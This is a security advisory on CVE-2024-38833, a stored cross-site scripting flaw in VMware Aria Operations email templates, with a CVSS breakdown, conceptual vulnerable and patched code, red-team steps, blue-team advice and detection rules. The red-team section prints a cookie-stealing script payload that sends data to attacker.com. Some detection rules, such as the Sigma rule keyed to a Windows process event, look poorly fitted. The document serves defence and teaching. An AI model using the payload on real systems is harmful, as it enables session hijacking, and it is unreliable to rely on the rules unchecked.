CVE-2024-38833

Executive Summary

CVE-2024-38833 is a stored cross-site scripting (XSS) vulnerability in VMware Aria Operations. A malicious actor with editing access to email templates can inject malicious scripts, leading to stored XSS within the product. This vulnerability has a CVSS score of 6.8 (Medium) and currently has no known public exploit or patch. The attack requires authenticated access with specific privileges, but once executed, the injected script can persist and affect other users.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) and does not involve supply chain security concerns. It is a product-level stored XSS in VMware Aria Operations.

CVSS Breakdown & Threat Level

• CVSS Score: 6.8 (Medium)
• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): High (H) – requires editing access to email templates
• User Interaction (UI): Required (R) – victim must view the malicious email template
• Scope (S): Changed (C) – impact may extend beyond the vulnerable component
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): Low (L)

Threat Level: Medium. The vulnerability requires authenticated access with specific privileges, but successful exploitation can lead to persistent script execution, potentially compromising other users' sessions and data.

Deep Dive & Mechanics

The vulnerability resides in the email template editing functionality of VMware Aria Operations. When a user with editing privileges modifies an email template, the application fails to properly sanitize user-supplied input before storing it. This allows an attacker to inject arbitrary HTML and JavaScript code into the template.

When other users view or interact with the email template (e.g., previewing or sending emails), the injected script executes in their browser context. This stored XSS can be used to steal session cookies, perform actions on behalf of the victim, or deface the interface.

Root Cause: Insufficient input validation and output encoding in the email template editor. The application does not escape or sanitize user-controlled data before storing it in the database and later rendering it in the browser.

Vulnerable vs. Patched Code

Since no official patch or source code is available, the following is a conceptual comparison.

Vulnerable Code (Conceptual):

// Server-side: storing user input without sanitization
app.post('/saveTemplate', (req, res) => {
    const templateContent = req.body.content;
    // Directly store user input
    db.saveTemplate(templateContent);
    res.send('Template saved');
});

// Client-side: rendering stored content without escaping
function renderTemplate(templateId) {
    const template = db.getTemplate(templateId);
    document.getElementById('templatePreview').innerHTML = template.content;
}

Patched Code (Conceptual):

// Server-side: sanitize input before storing
const sanitizeHtml = require('sanitize-html');
app.post('/saveTemplate', (req, res) => {
    const templateContent = sanitizeHtml(req.body.content, {
        allowedTags: [],
        allowedAttributes: {}
    });
    db.saveTemplate(templateContent);
    res.send('Template saved');
});

// Client-side: use textContent instead of innerHTML
function renderTemplate(templateId) {
    const template = db.getTemplate(templateId);
    document.getElementById('templatePreview').textContent = template.content;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid credentials with editing access to email templates in VMware Aria Operations.
• Network access to the VMware Aria Operations web interface.

Exploitation Steps:

1. Log in to VMware Aria Operations with an account that has permission to edit email templates.
2. Navigate to the email template editor (e.g., Administration > Email Templates).
3. In the template content field, inject a malicious payload, such as:

   <script>alert('XSS')</script>
   

   Or a more sophisticated payload to steal cookies:

   <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
   

4. Save the template.
5. When another user views or uses the email template (e.g., previewing an email), the script executes.

Note: No public exploit code is available for this CVE. The above is a generic stored XSS exploitation technique.

Blue Team

Detection and Prevention:

• Monitor for unusual changes to email templates, especially by users who do not normally perform such actions.
• Implement strict input validation and output encoding on all user-supplied content, especially in email templates.
• Use Content Security Policy (CSP) headers to mitigate XSS impact.
• Regularly audit user permissions to ensure only authorized personnel can edit email templates.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from the VMware Aria Operations server or client browsers.
• Logs: Suspicious entries in web server logs showing requests to /saveTemplate or similar endpoints with encoded JavaScript payloads.
• File System: Modified email template files containing <script> tags or other HTML/JavaScript code.
• Memory: Injected JavaScript code in browser memory when viewing email templates.

Detection Engineering

YARA Rule

rule CVE_2024_38833_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in VMware Aria Operations email templates"
        author = "Valters IT"
        date = "2025-04-08"
        cve = "CVE-2024-38833"
    strings:
        $xss_payload1 = /<script[^>]*>.*<\/script>/i
        $xss_payload2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss_payload3 = /onload\s*=\s*["']?[^"']*["']?/i
        $xss_payload4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-38833 Stored XSS in VMware Aria Operations Email Templates
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to inject malicious scripts into email templates in VMware Aria Operations
author: Valters IT
date: 2025-04-08
logsource:
    product: vmware
    service: aria_operations
detection:
    selection:
        EventID: 4688
        ProcessName: '*tomcat*'
        CommandLine: '*saveTemplate*'
    keywords:
        - '<script>'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in email templates (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-38833 - Stored XSS Payload in VMware Aria Operations Email Template";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/saveTemplate"; http_uri;
    content:"<script"; http_client_body;
    sid:1000001;
    rev:1;
    metadata: cve CVE-2024-38833;
)

Remediation & Mitigation

Immediate Actions:

1. Restrict Access: Limit editing permissions for email templates to only trusted administrators.
2. Input Validation: Implement server-side sanitization of all email template content using a library like sanitize-html or DOMPurify.
3. Output Encoding: Ensure all stored content is properly encoded when rendered in the browser (use textContent instead of innerHTML).

Long-Term Fix:

• Apply the official patch from VMware when it becomes available.
• Conduct a security review of all user-input handling in the application.

Workaround:

• Disable the email template editing feature if not required.
• Use a Web Application Firewall (WAF) to block common XSS payloads.

Valters IT